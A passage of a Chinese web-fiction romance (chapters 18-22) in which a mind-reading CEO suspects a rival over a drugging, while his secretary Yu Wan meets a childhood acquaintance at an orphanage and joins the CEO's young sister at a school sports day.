他和周瞿洋算得上密友,属于那种不需要靠时时刻刻的联系证明情谊,有空就出来聚餐,有需要就竭力帮忙,自在舒适的友情。
因为从小拥有读心术,傅知尧早早就看穿那些表面谄媚着接近他,实际上别有用心的人,对交朋友一事总是抱有抵抗意味,以至于傅知尧身边没有一个朋友,而周瞿洋是他第一个接触到的,坦诚得过分的家伙。
两人自大学认识,到如今已有十年之久。
傅知尧在此刻听到周瞿洋的心声-
【方才那位虞小姐是知尧的秘书,但知尧从不用女性秘书,有些好奇。】
不出意料,下一秒周瞿洋开口问:“知尧,你从没选过女性当秘书,那位虞小姐有什么特别的吗?”
傅知尧难得犹豫了两秒。
虞晚有什么特别的?道歉速度快?人傻?力气大?
傅知尧这么想的,也是这么说的。
周瞿洋沉默两秒:“……你,确定是在夸对方?”
傅知尧耸肩,表情淡然:“你知道的,有时候我身边就需要一些傻瓜。”
太聪明的人容易自以为是,会作茧自缚,目中无人,太自卑的人过于自我,做事畏畏缩缩,犹豫不决。
虞晚在两类人中间,做错事不反驳,认真道歉反思,道歉后负能量全部甩到一边,活力满满继续工作,让她看策划案说修改意见,不推脱说自己没本事,对自己定位清晰,不逾矩,不多问,知进退,除了偶尔脑子不太灵敏,还算不错。
最重要的是……
傅知尧使唤起虞晚来自在又顺手,完全没有一种高材生被错用成跑堂小伙计的歉疚感。
不知是不是周瞿洋的错觉,他居然从傅知尧的表情里看出一点点称得上是恶趣味的愉悦情绪-
【也是,知尧从不提及另一位女性,虞小姐能入他的眼,绝对不可能是他所说的人傻,我要是相信了,傻的就是我。】
傅知尧:“……”
怎么一个两个都觉得他选虞晚当秘书是因为虞晚能力不错,他看上去像是眼光那么差的人?
周瞿洋转而问起其他的问题:“昨晚的事,查到是谁给你下的药吗?”
傅知尧“嗯”了一声。
“抓到了给我递酒的人,不过他否认下药一事,蔡杨已经将对方送去警局了,关上几天,看能不能供出幕后主使。”
说到这里,虞晚昨天做得确实不错,知道打电话给老武求助,带着他安静低调从停车场离开。
被媒体拍到照片这事情有可原,毕竟给他下药的人早就做好了万全对策,蹲守在停车场的媒体时刻准备拍照,虞晚即便有三头六臂也不可能阻挡无孔不入的摄像头。
至于酒店监控,蔡秘书在得到消息的第一刻就迅速将当晚监控拷贝留存,云端记录删除,因此,那些媒体没一个拿到庆典有关的酒店监控,杜绝后续不必要的波澜。
除了被下药的事情闹上热搜让他有些芥蒂,但总体情况不算坏,公关部那边没有一味撤热搜,澄清前因后果,将言论引向有利于他的那一面,给傅氏攒了一波好感,有助于公司形象塑造。
至于评论里嚷嚷着让他注册一个社交账号的言论,傅知尧当然是忽略。
听完傅知尧的话,周瞿洋沉思片刻,说出心里的猜测:“有没有可能是陆宗信,照理说,宴会举办期间,停车场不会有什么媒体,就算有媒体拍照,也不会神通广大到立刻发现你是傅知尧,并且写好下药的新闻稿,除非有人提前打点过。”
陆宗信是屿风集团的董事长。
商场上,合作和竞争是常态,傅氏发展历程中自然也少不了树敌,若要问谁最盼望傅氏倒台,那无疑就是屿风集团的陆宗信。
两家集团的渊源可以追溯到傅知尧父母还在的时候。
屿风集团是做矿产起家的,后期加入房地产行业,同傅氏在房地产版块上打起擂台,但傅知尧父母早早看出房产发展的虚假繁荣,没有留恋高额利益果断转型,而屿风集团来不及收手,硬生生亏损三百多亿,公司一度难以为继。
在同傅氏借钱周转未果,买凶杀人,让傅知尧父母死在六年前的那场‘意外’车祸里。
父母葬礼上,拥有读心术的他,听清陆宗信的心声,知道是他买凶杀人,可他没有实质性证据,除了痛苦发泄,什么都做不了。
这些年,他一边经营傅氏一边私下收集证据,有朝一日,他一定会让陆宗信这个凶手付出应有的代价,不管是集团抑或是生命。
听到周瞿洋说的话,傅知尧目光冷了下来,再次点开蔡秘书发来的监控录像,拖动进度条,在密集的人群中搜寻。
果不其然,在视频里发现了一道熟悉的身影。
对方正是屿风集团的副总裁陆决风,也是陆宗信收养的儿子。
至于屿风集团的总裁,则是陆宗信那个不学无术的亲儿子陆屿森。
但陆决风并没有进入宴会厅,他侧身与一位穿着白裙子的女性说话,停留不到两分钟离开了酒店。
傅知尧对陆决风个性还算了解,即便不喜欢他,也知道他不可能做这种龌龊事,那么只剩下一个可能。
陆宗信的亲儿子,陆屿森。
同陆决风交流的那位白裙子女性,和虞晚在六楼对话的那位女性很像。
不,傅知尧几乎可以确定就是同一个人。
他看着监控视频,眸光逐渐凛然。
第19章
从医院离开,虞晚去距离公司半小时地铁的老小区公园逛了逛,但很可惜,一连问了几位老人家里都不做租房生意。
好在公园风景不赖,阳光下,绿草如茵,空气清新,虞晚心头失落得到安慰,拍了不少幽绿漂亮的照片。
正打算从公园离开,收到林妈妈发来的消息。
林妈妈:【虞晚,你今天有没有时间呀,孩子们知道上回去买零食是你出的钱,想邀请你来吃午餐,今天中午我们打算包饺子,要不要过来和孩子们一起包?】
虞晚想起孤儿院孩子们的拘谨天真的脸蛋,索性她现在没事,答应了林妈妈。
照旧乘坐608公交,路上,虞晚买了两箱牛奶。
进了孤儿院,林妈妈看到她手里拎着的东西,责怪她乱花钱,虞晚不好意思笑笑,“牛奶也不贵。”
林妈妈慈爱地拍拍她的手:“我替孩子们谢谢你,你这样好,孩子们会记住的。”
虞晚微笑着没有回答。
她给孩子们买牛奶也不是为了让孩子们记住她。
为避免发生意外威胁孩子们生命安全,心爱孤儿院的厨房离学习区和住宿区较远。
虞晚被林妈妈领着进入厨房,一间宽敞干净的房间,正中央摆着一张长长的不锈钢桌子,是林妈妈特意购入的,方便孩子们跟着一起学做菜,教会孩子们生存的本领,以后离开孤儿院不至于饿死。
虞晚进去的时候,面团已经和好,几个大点的孩子正围坐在桌边熟练地切剂子、擀剂子,切好的圆形剂子用掌心按压,在擀面杖的碾动下,片刻就变成一张薄薄的饺子皮,沾上干面粉扔到一旁,摞成小山丘。
一只修长漂亮的手将饺子皮拿起来,包入菜馅儿,宽大的手掌托着,熟练地捏出漂亮的褶边。
虞晚这才注意到这双漂亮手的主人。
一位长相出众的年轻男人,看上去并不比她大多少岁,眉骨深邃,鼻梁高挺,他认真包着饺子,眉目情绪干净温和,像是被风吹过的绿枝,让虞晚联想起今天在公园看到的垂柳。
林妈妈见她看
入迷,笑着打趣她:“怎么了?看他那么久,有没有记起他是谁呀?”
虞晚有些懵。
她认识这位男人吗?
什么叫记起他是谁?
年轻男人恰好在此时抬头看来,两人视线在半空短暂相交。
他笑了一下,放下手中的饺子,站起来,喊了林妈妈一声,随后视线落在她身上,精准无比叫出她的名字。
声音低沉悦耳,像是在她心上落了一根羽毛。
“虞晚,好久不见。”
虞晚迟迟没动,被林妈妈推了一下才回神,同年轻男人打招呼:“你好。”
林妈妈笑着摇头,“不懂你们年轻人,明明小时候那么要好,怎么长大了反而拘谨了呢。”
年轻男人解释:“林妈妈,我和虞晚已经许多年没见,她对我生疏很正常。”
说着,男人同虞晚自我介绍:“陆随,我叫陆随,现在记起我了吗?”
虞晚仍旧是一头雾水。
林妈妈想到什么,点头附和,“对,陆随这个名字你应该更熟悉。”
男人视线还落在她身上,眼眸中的情绪有些复杂,虞晚读不懂那种过于沉重的情绪,在脑海中仔细思索,发现她对这位叫陆随的男人知之甚少,半点记忆碎片都没有。
这太奇怪了。
原主的舍友们、孤儿院林妈妈,她脑子里都有和这些人的相处记忆,为何只有陆随没有。
好在对方没有为难她,主动转移话题,“虞晚,你坐我旁边吧,面团和饺子馅已经准备好,帮忙包饺子就行。”
虞晚点头,“好,我先去洗手。”
孤儿院孩子年纪多集中在七到十岁,年纪再小点的孩子很容易被领养走,大多数无法生育的夫妻领养孩子时担心孩子年纪太大,就算领养回去也不会和他们亲近,所以心爱孤儿院少有三四岁的孩子,除了像林衡那样先天性残疾,孩子们一般会在孤儿院待到成年,再由政府相关部门安排去其他福利机构谋一份工作,多赚钱不至于,填饱肚子活下去而已。
虞晚坐下来时,陆随正在教一个女孩包饺子,声音温柔,“没关系,馅少一点也可以,太多包不起来,煮得时候很容易破,先捏正中间,固定一个点,再捏两端,嗯,慢慢来,不着急。”
虞晚看了没几秒,收回视线,认真包起饺子。
饺子馅一共备了三种,角瓜鸡蛋、韭菜鲜肉以及纯素的包菜馅。
虞晚包得正认真,林衡不知何时挤到她和陆决风中间,抱着和上回一样的黑白色小狗玩偶,睁着一双漂亮的黑眸看她包饺子。
虞晚恶作剧心思飘出来,屈指故意在林衡鼻尖上勾了一下,白色的面粉蹭上去,像只小花猫。
虞晚朝他比划了一个小花猫的手语,林衡捂着鼻子,震惊地看着她,一双眼睁得大大的,比葡萄还要圆润。
虞晚笑出声。
陆随注意到旁边的动静,视线从林衡转到虞晚身上,唇角微微勾起,虞晚颇有种恶作剧被抓包的羞窘。
她赶忙站起身,端起已经放满饺子的托盘,“我先把饺子送去厨房。”
“好。”
陆随低头继续包饺子,嘴角弧度迟迟没有落下,方才跟陆随学包饺子的女孩歪着脑袋看他。
在陆随投来视线时,凑到他耳边问:“哥哥,你是不是喜欢虞晚姐姐。”
陆随唇角弧度再次上扬,片刻,落回原处,他竖起一根手指放在唇前,“保密。”
虞晚端着托盘走进厨房,林妈妈和厨师田阿姨正在烧热水。
林妈妈让虞晚将托盘放到灶台边,刚好看到虞晚抬起来的手臂,随口问了一句:“虞晚,你手肘上那个烫伤的疤痕现在还没消啊?”
虞晚僵在原地。
她缓缓转过脸看林妈妈:“您怎么知道我手肘上有烫伤的疤痕?”
林妈妈没注意到虞晚的脸色,一边忙碌一边说:“你忘记了啊,那是你第一次和田阿姨学做菜的时候被热锅边缘烫伤的呀。”
虞晚忽然有些分不清现实和小说,如果原主和她一样有着烫伤的疤痕,那她现在的身体到底是原主还是她?
如果是原主,怎么会有身体重合度如此高的另一个人存在。
如果是她,怎么解释手肘上一样的烫伤疤痕。
一顿饭吃得虞晚心不在焉,离开的时候,陆随提出顺路送她回学校,虞晚原本要拒绝,但在林妈妈炙热的眼神中最终答应。
陆随开的是一辆雷克萨斯的SUV,车子底盘高,虞晚刚将后座车门拉开,就听到陆随的声音。
“虞晚,你是在把我当司机吗?”
陆随并没有为难的意思,声音里夹杂着淡淡的调侃意味,熟络异常。
虞晚有些尴尬:“不好意思。”
关上后车门,坐到副驾驶,系好安全带。
虞晚动作有些拘谨,主要是她对陆随并不熟悉,虽然从林妈妈的口述中,她和这位叫陆随的男人小时候在孤儿院玩得不错。
不过,陆随在七岁那年被领养走,彼时的她才五岁,之后她就再也没见过陆随,对陆随印象不深情有可原。
车子平稳行驶在路上,虞晚听到陆随开口:“虞晚,你是今年六月份毕业对吗?”
虞晚有些意外,但还是回答了他:“对,五月中旬答辩,六月左右拿毕业证书。”
陆随点头,仿若老朋友一般开口:“那你是不是还没有租好房子?”
虞晚:“嗯,还在找,海市租房价格不低,不容易找到合适的。”
只要在毕业答辩前找到房子搬出去就行,虞晚还有差不多一个月的时间,她打算在五月份搬宿舍,比舍友毛新灵稍微晚半个月。
能省下半个月房租呢。
陆随若有所思,“虞晚,我有个朋友是做房屋中介的,我可以将他的联系方式推给你,你将租房的要求告诉他,可以让他帮你筛选,这样更节省时间。”
虞晚有些意外。
陆随像是怕虞晚觉得他是个骗子,解释道:“我那位朋友有房产中介资格证,就职的公司算得上业内小有名气的,我把他联系方式推给你,合不合适由你自己选择,这样可以吗?”
意识到自己的犹豫和警惕被对方看穿,虞晚不好意思笑了笑,“那就麻烦你了。”
陆随唇角弧度温和,“不客气,其实是我该谢谢你。”
虞晚不解。
谢谢她?为什么要谢谢她?
第20章
周一正常上班,比起上周,这周因为临近月末,工作量明显增加,各种投资项目的季度跟进汇报,还有大大小小的例会,分明有些会议虞晚的权限不够,但老板还是带着她参加,并将会议纪要统统丢给她写,虞晚忙得昏头涨脑,眼睛一闭一睁都是在打字
好不容易熬到周五,虞晚早早躺上床,特意没定闹钟,准备一觉睡到自然醒,当作对自己一周辛勤工作的奖励。
床单在今早清洗晒干,鼻尖充盈着阳光的味道,虞晚闭上眼,沉入黑甜的梦乡。
等虞晚再睁开眼,就发现自己坐在高高堆起的金银珠宝山上。
纯金打造的座椅金碧辉煌,亮得晃人眼,虞晚坐在金椅子上,手里抓着大把大把的钞票,恨不得立刻叫来房产中介。
她有这么这么多的钱,可以买房子了,她要买房子!
不要很大,三室一厅就好,两间卧室,一间书房,还要一间厨房,这样就够了。
需要多少钱呢?
虞晚数着手里的钞票盘算,直到怀里被人扔进一摞厚厚的文件,将她砸了个措不及防。
虞晚震惊,她都这么有钱了谁这么过分给她安排工作?
一抬头,对上老板那张冷面罗煞的脸,傅知尧声音冷漠:“这些文件限你下班前处理完,否则我就开除你!”
虞晚瞪大眼。
她生气了,将文件狠狠砸在地上。
她有钱了,她才不干!
彷佛听到她内心的声音,梦境拉长刺耳的红色警报,开始摇摇欲坠起来,虞晚眼睁睁看着面前的金山银山消失,怎么抓都抓不住,心痛到难以附加。
但警铃声并未停止,不依不饶在虞晚耳旁回响。
大魔王冷哼一声,声音彷佛经过山谷回荡,幽深绵长,一如既往的傲慢:“虞秘书,你是逃不出工作的
五指山。”
……五指山……指山……山……
虞晚猛地睁开眼,被噩梦惊醒的缘故,心脏扑通扑通跳个不停。
耳边铃声仍旧在响,虞晚扭头,在枕头下摸到吵醒她美梦的万恶之源。
是她的手机。
屏幕上显示来电者:老板
她真的生气了。
明明之前老板都非常有原则地秉持下班时间不给她打电话,有急事就发消息的良好传统。
为什么偏偏在今天,在不过六点半的时刻给她打电话吵醒她。
所幸毛新灵昨天跟着领导去外地出差不在宿舍,否则她还要担心会不会吵到室友。
她清清嗓子,坐起身接电话,声音些微沙哑:“老板,您找我有什么事吗?是不是哪个文件出了问题,我现在就可以改。”
电话那边的傅知尧沉默了几秒,似是无可奈何,最终开口说道:“你今天应该有时间吧,过来帮我参加个运动会。”
虞晚以为是自己没睡醒听错了,“什么运动会?”
傅知尧破罐子破摔重复:“我妹妹的亲子运动会。”
虞晚:“……”
她真的生气了!
傅知尧大早上打电话吵醒她,就是为了让她去参加他妹妹的亲子运动会,他难道不知道打工人最讨厌的就是在周末的时候收到老板消息吗?更何况还是和她毫无关系的运动会!
但虞晚也只敢在心底骂一骂,她试探开口:“老板,愚人节应该已经过了吧?”
傅知尧给虞晚气笑了,看了眼面前目光如炬某个萝卜头:“你以为我在和你开玩笑?”
要不是周瞿洋昨晚值班熬了个通宵,他是绝对不会给虞晚打电话的。
虞晚硬着头皮:“但是老板,您妹妹的亲子运动会,我去是不是不太好。”
傅知尧啧了一声,懒得和她废话,直截了当:“加班工资三倍。”
不到半秒,傅知尧听到电话那边虞晚格外正经的声音:“老板,我现在就起床,请问我们在哪里碰面?”
傅知尧:“……”
挂掉电话,傅知尧嗤了一声。
财迷。
收起手机,傅知尧看向面前五点半就跑到他公寓,在床上乱跳把他叫醒的某个小萝卜头,挑了下眉:“满意了?”
萝卜头昂起下巴,哼了一声。
“什么叫我满意不满意,分明我一周前就告诉过你学校要举办亲子运动会,你当时还答应我了,是你自己记性不好忘记的,我好心来提醒你,你应该感谢我才对。”
说完,跑去厨房,熟练地告诉做饭阿姨自己要吃些什么。
傅知尧:“……”
另一边,虞晚花了不到二十分钟收拾好自己,打车前往老板住的豪宅。
老板催得急,虞晚不敢乘坐地铁,痛心地选择昂贵的出行方式。
傅知尧在海市的房产不止一处,最常住的是浣溪沙大平层,绝美江景房,距离虞晚工作的CBD不到二十分钟的车程,可谓是豪宅中的豪宅,一梯一户,安保人员全体二十四小时巡视,住进去的人非富即贵。
不过在此之前,虞晚只知道老板住在浣溪沙,并不知道具体的楼栋和层数。
虞晚控制不住小手,搜了搜浣溪沙的房价,不算复式的话,一套四百多平的房子价格超过九位数。
虞晚:“……”
她果断关闭手机,合眼休息。
半小时后,虞晚抵达目的地,下了出租车,刚到大门,亭内保安就认出她,主动放行。
“虞小姐,傅总打电话和我们说过,您进来后左转,第三栋大楼便是,大厅内前台工作人员会给您电梯卡,刷卡可以直达傅总住的十六层。”
虞晚还以为会发生她在门口解释半天,保安依旧不让她进去的剧情,没想到老板早就安排好了。
她点点头,“好的,谢谢你。”
进入宽敞高挑的楼内,虞晚从面带微笑的前台小姐姐手中接过电梯卡。
如果不是知道自己要去老板家,她差点以为这里是什么奢华的高档酒店,谁能想到一个住宅内除了有保安还会有前台呢。
电梯在十六层稳稳停下,出了电梯,中庭宽敞开阔,摆放着几株长相惹人喜爱的绿植。
虞晚走到铁黑色门前,抬手敲了三下。
片刻,咔嚓一声,门被打开。
虞晚一时没看到人,偏头朝里看去,简单的黑白灰色调,和老板办公室很像,生活气息并不浓烈。
忽然,一道清亮的童声从她脑袋下方传来。
“你叫什么名字?”
虞晚吓一跳,这才注意到面前站着的长发齐刘海小女孩,小女孩仰头看着她,半点也不怕人,一双眼珠明亮圆润,可爱中透露着古灵精怪。
她再次开口:“你叫什么名字?”
虞晚猜测,这位可能就是老板的妹妹。
“你好,我叫虞晚。”
小女孩点点头,表示自己记住了,“你好虞晚,我叫傅许安,许诺的许,平安的安,我今年七岁了。”
虞晚礼尚往来,“虞美人的虞,夜晚的晚,我今年,……过完生日就二十三岁了。”
她煞有介事地伸出小手,虞晚连忙抬手,两人友好地握了握。
傅许安将虞晚请进屋,开始认真询问,虞晚都没来得及问面前的小女孩老板在哪儿。
傅许安绕着虞晚走一圈,皱起小眉头,“我想拿奖杯,但你太瘦了,看起来力气也不大的样子,你能帮我拿到奖杯吗?”
虞晚错愕两秒,认真回答她:“只是看起来而已,我觉得我力气挺大的,你有多重呢?”
傅许安:“体重23千克,身高124厘米。”
虞晚点头,“那我可以将你举起来。”
“真的吗?”
傅许安毫不客气,说话的同时张开双臂,虞晚愣了两秒,蹲下身,双手穿过傅许安胳膊,毫不费力就将傅许安举了起来。
傅许安只觉得自己身子一轻,下一秒整个人就腾空,像一只轻盈的鸟儿。
傅许安笑起来,露出米粒般白的牙齿,开心之情溢于言表。
“虞晚!你的力气真的好大呀!”
虞晚被她的笑容感染,不自觉笑起来。
傅知尧在这时从卧室里走出来,倚在墙壁上,姿态闲散,颇具威慑力地叫出小女孩的名字:“傅许安,你在干什么呢?”
傅许安也不害怕,两条小短腿顺势夹住虞晚的腰,双手抱住虞晚的脖子,整个人如同树懒挂在虞晚身上。
她气势汹汹反问傅知尧:“你才是在干什么,我和虞晚姐姐聊天聊得好好的,你在打扰我们!”
傅知尧:“……”
别以为他没听到,刚才这小萝卜头还直呼虞晚大名,现在就叫上虞晚姐姐了,真是个善变的小屁孩。
虞晚被傅许安抱了个措不及防,听到傅许安一句话怼得老板哑口无言,忍不住感慨。
果然一物降一物。
大魔王老板也会面临血脉压制。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
20-30
第21章
不过傅许安没让虞晚抱多久,在傅知尧警告的眼神中利索地从虞晚身上滑下来,哒哒跑去厨房。
声音元气满满:“虞晚姐姐,我去看看吴阿姨早餐做好了没?”
傅知尧看向虞晚:“吃早餐了吗?”
虞晚摇头,“没来得及。”
“嗯,”傅知尧抬了抬下巴,示意虞晚看向餐厅,“坐下来一起吃。”
在家的缘故,傅知尧没穿西服,身上是一件浅灰色的棉麻材质圆领家居服,但他身材好,普通家居服也撑得起来,往人面前一站,成熟匪然中透露着随性,和走秀场的模特没什么分别。
虞晚没拒绝,跟在他身后去了餐厅。
吴阿姨将最后一份早餐摆上餐桌,脱下围裙同傅知尧说了一声就离开,走的时候和虞晚对上视线,朝她和蔼一笑,似乎并没有探究她是谁的意思。
虞晚觉得神奇,这个小说世界居然比虞晚想象得还要讲逻辑。
豪宅门口的保安不会仅凭外表着装就审判一个人,老板家里的做饭阿姨也不会碎嘴八卦雇主隐私。
等看到桌面上种类丰盛的早餐,虞晚瞬间把这些想法抛之脑后,早起不是没收获,还能蹭一顿免费早餐呢。
虞晚没有在傅总面前装淑女的爱好,吃饱最重要,三口一个烧麦,再来一口满是酱汁的小笼包,鲜肉鸡蛋饼也好吃,太油腻了就喝口南瓜小米粥,还有清甜的蓝莓、车厘子水果当餐后甜点。
一顿早餐,虞晚吃得心满意足。
旁边傅许安也是,她从小消化好、胃口好,哼哧哼哧吃得一脸满足,还热情向虞晚推荐哪些早餐好吃。
傅知尧原本对中式早餐没多少兴趣,被两位现场吃播影响,难得多吃了点。
吃完早餐,傅许安擦擦嘴,第一个跳下餐桌,跑去房间拿了三件运动短袖出来,站到虞晚和傅知尧面前讲解。
傅许安:“这是我们学校发的衣服,待会儿运动会我们都要穿上,T恤背面是我画的涂鸦,我们学校让我们自己画图案,画完给我们印出来的,等运动会结束还能收藏!怎么洗都不会掉色!”
虞晚接过傅许安递给她的T恤,展开欣赏背面的涂鸦,这一看不要紧,虞晚差点被上面写的字给嚇到。
再看另外两件大小不一的T恤。
三件T恤背后的字依次是:
妈妈
爸爸
宝宝
虞晚:“……”
她脸都要僵了,缓缓转身看向傅知尧,展示给他看运动T恤背后的字,声音颤颤巍巍:“老板……,这运动T恤非穿不可吗?”
傅知尧表情一滞。
这话该他说才对,但毕竟是他叫虞晚来救场,要是现在换说辞,出尔反尔,岂不是显得他过于随便,以后怎么在虞晚面前树立老板威信。
所以他稳坐如山,不咸不淡开口:“你问傅许安。”
傅许安眨巴着葡萄般漆黑漂亮的眼睛,“虞晚姐姐,我们学校规定必须穿,这是我们的队服!代表团结协作,是很重要的标识,背后写的字是什么完全不影响啊,我们班级还有同学让家里保姆阿姨参加呢。”
虞晚:“……”
既然老板和老板妹妹都没说什么,她一个为了三倍加班费来的工具人更没什么好说的,颇为沉重地接受了这个事实,去洗手间换上T恤。
T恤应该被阿姨清洗过,有着淡淡的苦艾香气,和老板身上的味道很像,虞晚闻了两秒,反应过来后没敢再闻。
和认识的人身上是同一种香味这件事情太暧昧,更何况,另一个人是老板,虞晚暂时还没想死的念头。
将换下来的短袖放进手提袋,准备运动会结束再换回来。
走出洗手间,傅知尧和傅许安两人也已经换好了运动T恤,难得看老板穿如此廉价感的衣服,虞晚抿了抿唇,忍住嘴边的笑意。
傅知尧穿着背面印着‘爸爸’两个显眼大字的T恤,手里捏着把梳子,正试图将傅许安的长发扎起来。
只可惜他手法不算好,扯得傅许安龇牙咧嘴喊疼,虞晚走过去,“老板,让我来吧,我会梳头发。”
傅许安立刻从凳子上跳下来,像看到救世主一样抱住虞晚大腿:“太好了,虞晚,你会梳什么发型?我想要蝴蝶结的发型你会吗?就是把辫子辫成蝴蝶结,前段时间我们学校特别流行,但春姨和吴姨压根不会扎,每次都是给我编麻花辫,简直无聊!”
虞晚想了几秒,“我好像知道你说的是什么发型,我试试吧。”
傅许安当即将虞晚领去了她的房间。
傅许安在傅知尧家里有自己的房间,是从客房改来的,装修风格和其他房间迥异到两个极点。
老板公寓装修风格都是走性冷淡风,但唯独傅许安住的这个房间,墙壁和天花板都被刷成了淡粉色,墙上挂着许许多多个相框,相框内是傅许安各个阶段的照片。
还有两张是和傅知尧的合影,画面里,傅许安不过两岁的模样,坐在傅知尧肩头,白嫩的小手攥紧傅知尧一搓黑发,傅知尧疼得呲牙,傅许安笑得天真可爱。
是虞晚从没见过的,老板的又一面。
视线收回来,傅许安的床是高脚欧式公主床,头顶是垂着精致蕾丝的床幔,上面挂着发光的小灯串,打开开关,莹黄的光芒忽闪忽闪,简直是所有小朋友都梦寐的公主房间。
虞晚有些愣神,片刻,缓缓收回目光,对傅许安道:“你的皮圈和梳子呢,我帮你梳头发。”
傅许安正趴在地上从抽屉里找发夹,似乎是找不到,干脆将化妆桌的抽屉全部拉开,一抽屉闪闪亮的发夹出现在眼前。
“虞晚,你从这里面找吧!”
顾及运动会项目多,虞晚没弄什么复杂的发型,只给傅许安扎了两个蝴蝶结发髻,一头浓密的长发从正中央分开,各扎一个高马尾麻花辫,将尾端捏起来,中间对折,用黑色发夹和皮圈固定,再整理整理,蝴蝶结形状的发型就做好了。
最后,在头发两边别上两枚粉色的蝴蝶结发夹。
虞晚问傅许安:“好了,看看有没有扯到头发,疼的话我拆掉重新扎。”
“不疼!虞晚你太厉害了,你给我扎的发型简直是世界上最漂亮的发型,你的手也是世界上最漂亮的手!谢谢你!”
傅许安用力抱了虞晚一下,紧接着对着镜子左看看右看看,怎么看怎么满意,臭美地噘起嘴欣赏,不亦乐乎。
虞晚被傅许安动作可爱到,嘴角跟着上扬。
房间外,傅知尧视线停留在虞晚和傅许安身上,他没有进去打扰,站着久久未动。
亲子运动会于九点半开始,虞晚一行人出门的时候不过八点三十六。
去学校的路上,虞晚研究起傅知尧递给她的明智国际学校亲子运动会手册,上面写着亲子运动会上的各类项目及比赛方式。
参加运动会的都是小学二年级学生,因此运动会项目少有竞技项目,多为三人四足、袋鼠跳跳等趣味项目,突出强调一个亲子互动。
虞晚小心翼翼看旁边的老板一眼,忽然明白为什么老板会找她。
让一脸威严的老板穿着袋鼠衣服在草坪上跳来跳去实在有些崩人设。
傅知尧见她看完,问她:“看出什么东西没有?”
虞晚点头:“嗯,项目比较多,要说拿冠军的话,只要单项运动项目拿到第一就有奖杯,没拿到第一也有参与奖。”
为了照顾小朋友情绪,参与奖是亮晶晶的徽章,可以别在运动T恤上,每个运动项目设计的徽章都不一样,很难说清楚小朋友是更喜欢徽章还是奖杯。
不过傅许安小朋友目标明确:“奖杯奖杯!我要奖杯,最好全部项目的奖杯都被我拿到!”
傅知尧淡声警告:“事先说好,只负责参与,奖杯不保证,你要是因为这个吵,我马上把你从车上丢下去。”
让他穿着背后印有‘爸爸’两个字的T恤已经够丢人了,要是傅许安还要闹,他真的会同这个妹妹断绝血缘关系。
傅许安炸了:“我要你丢!我自己走下去!”
虞晚:“……”
老板今日出行车是一辆银色的迈巴赫,后车座三个位置,虞晚就坐在两人正中间,方才上车的时候还不觉得,现在兄妹两人开始互怼,她夹在中间就格外煎熬。
傅知尧继续输出:“行,挺硬气,当初求我来参加你亲子运动会的时候怎么不是这个表情,哦,忘了说,你求我的时候我拍视频了,要是不想视频发到你们班级群,就乖乖听我们的。”
傅许安咬牙切齿,就差越过虞晚给傅知尧一拳:“你这个狡诈小人,阴毒!我是你妹妹,你发我视频丢的是我的脸吗?是你的!”
傅知尧:“哦。”
傅许安:“傅知尧——!我讨厌你!”
虞晚:“……”
银色迈巴赫飞速驶过高架桥,将傅许安的叫喊声抛在车流里,在虞晚的拘谨煎熬中,三人
顺利抵达明智国际学校。
此刻距离九点半还有将近十五分钟的时间,明智国际学校门口停满各种豪车,孩子们穿着同款但图案各异的T恤从豪车上跳下来,迈着腿往学校里跑。
傅许安下车时已经整理好了自己的情绪,热情挥手回应相识同学的招呼,完全看不出来她和傅知尧在车上吵过架。
傅许安同傅知尧在方才短暂的车程中约法了不知道多少章。
总而言之,要给她拿到至少一个奖杯。
不出意外,老板将这个任务交给了她。
算了,算了,三倍工资呢。
虞晚忍了。
第22章
明智国际学校设有幼儿园、小学、初中、高中四个学部,提供从幼儿园到高中全阶段的国际化教育,不仅拥有优美舒适的校园环境,教育资源和师资力量也相当丰厚,是海市人眼中‘精英教育’的代名词,实验室、礼堂、运动场各种设施齐全,建校将近三十年,建筑依旧干净漂亮。
虞晚知道这所学校,不算生活费,一学期学费将近二十万,也正是如此,才会花心思去提供印有小朋友绘画图案的T恤。
穿行在环境优美的校园中,虞晚觉得自己不像是来参加亲子运动会的,更像是来参观的,沿途的每一处建筑都足以让她驻足欣赏。
傅许安拉着她的手,注意到虞晚在看校园风景,特意放慢了步伐。
三人不紧不慢走到举办运动会的入口操场。
运动场播放着激昂欢快的音乐,场上来来去去都是人,穿着红马甲的老师们正在忙碌布置项目场地,傅许安带着虞晚和傅知尧两人去指定的看台集合。
傅许安班上学生差不多到齐,只有两三位学生请了假,虞晚数了数,不到二十个学生。
虽然穿着T恤和她们一样,但的确能看出来好几位学生的家长是由司机和保姆阿姨充当的。
虞晚等老板先坐下,这才坐到老板旁边,隔了一个座位,中间的椅子则是留给傅许安坐的。
但傅许安正热情同其他同学聊天。
有小朋友注意到一脸高傲的傅知尧,悄咪咪凑到傅许安旁边问她:“傅许安,这位就是你说的哥哥吗?”
傅许安昂着下巴,骄傲点头,“对啊,今天的亲子运动会是我哥哥和姐姐陪我参加哦,看到我的发型了吗?我姐姐给我扎的。”
说着,傅许安转了个圈。
那位小女孩夸她:“很漂亮,你姐姐手艺真好,我也想有这样的姐姐!”
傅许安摆摆手,十足傲娇:“那没办法了,你是家里的老大,就算你妈妈再生也只会是妹妹或弟弟,咦~小屁孩最烦了。”
“对,小屁孩最烦,上回去我姨妈家,她生了个宝宝,每天只会哭,我把我最喜欢的奥特曼送给他,他还是只会哭!”
两个小女生叽叽喳喳讨论起来,虞晚听得想笑。
对上傅知尧探究的眼神,虞晚将笑容憋回去,挪了个屁股,坐到傅许安的位置上,微微偏头,低声问:“老板,今天亲子运动会有摄影师拍照,我倒是没关系,您被拍是不是不太好?”
傅知尧双手抱臂,懒懒靠在座椅上:“不会,学校每次发校园宣传照时都会询问各位家长的意见,没得到家长或者孩子的同意,是不会擅自发出去的。”
虞晚:“要是不小心发出去了呢?”
“巨额索赔。”
虞晚:“!!!”
知晓拍摄的照片不会传出去,虞晚稍稍放心,坐回自己的座位,安静等待亲子运动会开场。
期间有中年男人走上前同傅知尧攀谈,问了两句商场上合作的事宜,傅知尧只是坐在椅子上,动也不动。
虞晚了然,贴心从钱包里拿出她的名片递给对方。
这是傅知尧上个星期给她定制的,为的就是这种场合,方便打发人。
虞晚礼貌道:“您好,我是傅总秘书虞晚,这是我的名片,有什么事情可以联系我,今天毕竟是私人行程,希望您能理解。”
男人的视线在她身上停留片刻,碍于傅知尧在,最终尴尬笑笑,接过名片离开。
反倒是傅知尧,在人走之后,不咸不淡来了句:“虞秘书,打发人的时候笑容可以稍微收一收。”
虞晚下意识摸向嘴角,她笑得很夸张吗?
不是正常的社交笑容么。
